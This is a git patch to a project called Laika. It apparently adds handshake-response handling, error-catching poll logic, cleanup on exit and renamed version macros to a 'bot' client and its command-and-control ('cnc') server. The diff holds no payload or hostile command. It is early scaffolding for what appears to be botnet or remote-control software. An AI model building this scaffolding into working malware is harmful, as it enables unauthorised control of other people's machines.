From 04f02b4371c3ed89d9480f24963a33dba6643bd5 Mon Sep 17 00:00:00 2001 From: CPunch Date: Tue, 25 Jan 2022 11:58:36 -0600 Subject: [PATCH] Protected handler calls in bot.c - Added support for LAIKAPKT_HANDSHAKE_RES --- .gitignore | 2 +- bot/CMakeLists.txt | 2 +- bot/src/bot.c | 23 +++++++++++++++++------ bot/src/main.c | 1 + cnc/CMakeLists.txt | 2 +- cnc/src/main.c | 5 +++-- lib/CMakeLists.txt | 10 +++++----- lib/include/laika.h | 16 +++++++++++----- 8 files changed, 40 insertions(+), 21 deletions(-) diff --git a/.gitignore b/.gitignore index 8df67f9..ca90fbf 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,4 @@ build debug bin -.vscode +.vscode \ No newline at end of file diff --git a/bot/CMakeLists.txt b/bot/CMakeLists.txt index 8d5d3d5..693e136 100644 --- a/bot/CMakeLists.txt +++ b/bot/CMakeLists.txt @@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON) set(BOT_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) -project(LaikaBot VERSION 1.0) +project(LaikaBot VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder set_property(GLOBAL PROPERTY USE_FOLDERS ON) diff --git a/bot/src/bot.c b/bot/src/bot.c index 820d522..fbced48 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -7,7 +7,15 @@ size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = { }; void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) { - printf("got %d packet id!\n", id); + switch (id) { + case LAIKAPKT_HANDSHAKE_RES: { + uint8_t endianness = laikaS_readByte(&peer->sock); + peer->sock.flipEndian = endianness != laikaS_isBigEndian(); + break; + } + default: + LAIKA_ERROR("unknown packet id [%d]\n", id); + } } struct sLaika_bot *laikaB_newBot(void) { @@ -42,8 +50,8 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { /* queue handshake request */ laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ); laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); - laikaS_writeByte(sock, LIB_VERSION_MAJOR); - laikaS_writeByte(sock, LIB_VERSION_MINOR); + laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); + laikaS_writeByte(sock, LAIKA_VERSION_MINOR); if (!laikaS_handlePeerOut(bot->peer)) LAIKA_ERROR("failed to send handshake request!\n") @@ -58,16 +66,19 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) { if (numEvents == 0) /* no events? timeout was reached */ return false; +LAIKA_TRY if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer)) goto _BKill; if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer)) goto _BKill; - if (!evnt->pollIn && !evnt->pollOut) { + if (!evnt->pollIn && !evnt->pollOut) + goto _BKill; +LAIKA_CATCH _BKill: - laikaS_kill(&bot->peer->sock); - } + laikaS_kill(&bot->peer->sock); +LAIKA_TRYEND return true; } \ No newline at end of file diff --git a/bot/src/main.c b/bot/src/main.c index f1849ff..92802f3 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -16,6 +16,7 @@ int main(int argv, char **argc) { } } + laikaB_freeBot(bot); printf("bot killed\n"); return 0; } \ No newline at end of file diff --git a/cnc/CMakeLists.txt b/cnc/CMakeLists.txt index 3a3cdb3..a9e68ed 100644 --- a/cnc/CMakeLists.txt +++ b/cnc/CMakeLists.txt @@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON) set(CNC_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) -project(LaikaCNC VERSION 1.0) +project(LaikaCNC VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder set_property(GLOBAL PROPERTY USE_FOLDERS ON) diff --git a/cnc/src/main.c b/cnc/src/main.c index 8b7f6d9..2c13083 100644 --- a/cnc/src/main.c +++ b/cnc/src/main.c @@ -7,10 +7,11 @@ int main(int argv, char **argc) { while (true) { if (!laikaC_pollPeers(cnc, 1000)) { - printf("no events!\n"); + LAIKA_DEBUG("no events!\n"); } } - printf("cnc killed\n"); + laikaC_freeCNC(cnc); + LAIKA_DEBUG("cnc killed\n"); return 0; } \ No newline at end of file diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index 0760faf..cf2976e 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -6,10 +6,10 @@ set(CMAKE_C_STANDARD_REQUIRED ON) set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) # version details -set(LIB_VERSION_MAJOR 0) -set(LIB_VERSION_MINOR 0) +set(LAIKA_VERSION_MAJOR 0) +set(LAIKA_VERSION_MINOR 0) -project(LaikaLib VERSION ${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR}) +project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder set_property(GLOBAL PROPERTY USE_FOLDERS ON) @@ -19,10 +19,10 @@ file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) add_library(LaikaLib STATIC ${LIBSOURCE}) # add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(LaikaLib PUBLIC LIB_VERSION_MAJOR=${LIB_VERSION_MAJOR} LIB_VERSION_MINOR=${LIB_VERSION_MINOR} "$<$:DEBUG>") +target_compile_definitions(LaikaLib PUBLIC LAIKA_VERSION_MAJOR=${LAIKA_VERSION_MAJOR} LAIKA_VERSION_MINOR=${LAIKA_VERSION_MINOR} "$<$:DEBUG>") # add include directory target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR}) # set library name -set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR}) +set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) diff --git a/lib/include/laika.h b/lib/include/laika.h index 5ec50b2..cae480f 100644 --- a/lib/include/laika.h +++ b/lib/include/laika.h @@ -10,13 +10,19 @@ #define ARRAY_START 4 -/* for intellisense */ -#ifndef LIB_VERSION_MAJOR -#define LIB_VERSION_MAJOR 0 +#ifdef DEBUG +#define LAIKA_DEBUG(...) printf(__VA_ARGS__); +#else +#define LAIKA_DEBUG(...) #endif -#ifndef LIB_VERSION_MINOR -#define LIB_VERSION_MINOR 0 +/* for intellisense */ +#ifndef LAIKA_VERSION_MAJOR +#define LAIKA_VERSION_MAJOR 0 +#endif + +#ifndef LAIKA_VERSION_MINOR +#define LAIKA_VERSION_MINOR 0 #endif #endif \ No newline at end of file